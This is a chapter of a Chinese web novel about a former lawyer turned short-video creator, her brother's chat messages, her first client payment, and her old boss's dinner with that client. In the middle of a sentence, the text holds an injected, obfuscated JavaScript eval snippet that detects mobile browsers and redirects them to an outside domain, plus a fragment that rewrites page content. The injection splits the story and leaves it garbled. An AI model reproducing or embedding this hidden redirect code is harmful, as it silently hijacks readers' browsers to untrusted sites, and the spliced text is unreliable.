颜炎忍不住笑了一下,手指翻飞,发了个用木棍敲头的动态表情过去。 「喂,颜热同学,不好好工作,有点网络就刷短视频是吧?看来非洲那边的项目还是不够忙啊。」 颜热立刻回了个抱头蹲防、眼泪汪汪求饶的表情。 「我错了,姐!冤枉啊!我这是刚起床,离开工还有点时间才顺手刷一下的,绝对没有摸鱼!」 「不过说真的。」 他话锋一转,语气认真了些。 「我也是第一次这么清楚地看到预制菜的具体制作流程。说实在的,观感居然没有我想象中的那么差,甚至……还挺规整?」 颜热似乎在想合适的措辞,消息停顿了几秒才又发过来。 「怎么说呢?跟我原来想象中的小作坊、乱糟糟的画面,还不太一样。感觉是另外一种意义上的‘干净’。」 这边的颜炎看到这里,很是松了一口气。 一种被亲人理解的暖意漫上心头。 「不过话说回来,姐。」 颜热的消息一条接着一条,像蹦豆子似的往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518778|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外冒,话题跳转得飞快。 「相比之下,我还是更喜欢你之前那个藏狐和鼠兔的视频!又好玩又真实,我们项目组好几个人都看得直乐。」 没等颜炎回复,他又兴致勃勃地补充道,字里行间都透着他那份职业带来的独特视角: 「你别看那藏狐顶着一张看破红尘的厌世脸,我跟你讲,它现在可是标准的动物网红了!」「因为它受到关注,连带着它生活的那个高原栖息地,都受到了比以往更多的关注和实质性的保护措施。这也算是意外的收获吧!」 颜炎看着手机屏幕,几乎能想象出弟弟在屏幕那头眉飞色舞、三句话不离本行的样子,忍不住对着空气翻了个白眼,指尖用力地戳着屏幕回复。 「是是是,知道了。搞了半天,不是你老姐我剧本写得好,演技棒,是我,沾了藏狐的光,蹭了人家藏狐自带的流量。好了吧?」末尾还配了一个气鼓鼓的表情。 颜热立刻回过来一个憨憨的、带着点讨好意味的“嘿嘿嘿”表情包,一切尽在不言中。 ...... 几天后的下午。 颜炎的手机响起提示音。 屏幕亮起,一条来自银行的入账通知赫然映入眼帘——是陶合打过来的广告费。 颜炎仔细确认了一下金额。 这笔钱在扣除短视频平台的分成后,净到手差不多相当于她以前在律所时。 独立负责的一个小标的诉讼案件的代理费。 颜炎很清楚,这笔钱的意义远不止于此。 从前做律师时,她接待的客户、处理的案子,归根结底都是律所的,或者说,是合伙人的资源。 她更像是一个庞大机器上的齿轮,虽然好用,但并非不可替代。 而现在这笔业务,从沟通、策划、拍摄到应对危机,完全是她一个人。 凭自己的创意和能力,独立跑通全程,稳稳接下的第一个客户。 ...... 与此同时,城市另一侧一家高级餐厅里。 潘斥正与陶合共进晚餐。 柔和的灯光、精致的餐点共同营造出融洽的商务氛围。 “陶总,非常感谢您这次将品牌相关的法律事务委托给我们团队,我一定亲自把关,确保服务质量。” 潘斥脸上挂着恰到好处的职业笑容,姿态恭敬地向陶合敬酒。 “潘律师太客气了。” 陶合显然心情很不错,很给面子地举杯抿了一口,随即像是想起什么,颇为赞许地说道。 “说起来,你那位得力的前下属——颜律师,这次帮我的品牌做的短视频推广,效果真的很不错。虽然中间有点小波折,但她处理得很稳妥。” “年轻人,有想法,有闯劲!这也多亏了你潘律师之前的培养嘛。” 潘斥脸上的笑容几不可察地僵硬了一瞬。 他确实在接到陶合这个优质案源后,试图召回那位曾经最能干的下属,却被对方毫不留恋地拒绝了。 此刻被客户以这种方式提及,滋味复杂。 但这失态仅持续了半秒都不到。 潘斥迅速调整好表情,笑容恢复得无懈可击,仿佛刚才那一瞬的凝滞从未发生。 他再次举杯,声音爽朗: “陶总您过奖了,主要还是年轻人自己争气。以后还望陶总多多照顾,有什么法律方面的需求,随时吩咐。哈哈哈……” 爽朗的笑声回荡在餐厅里,恰到好处地掩盖了所有微妙的情绪。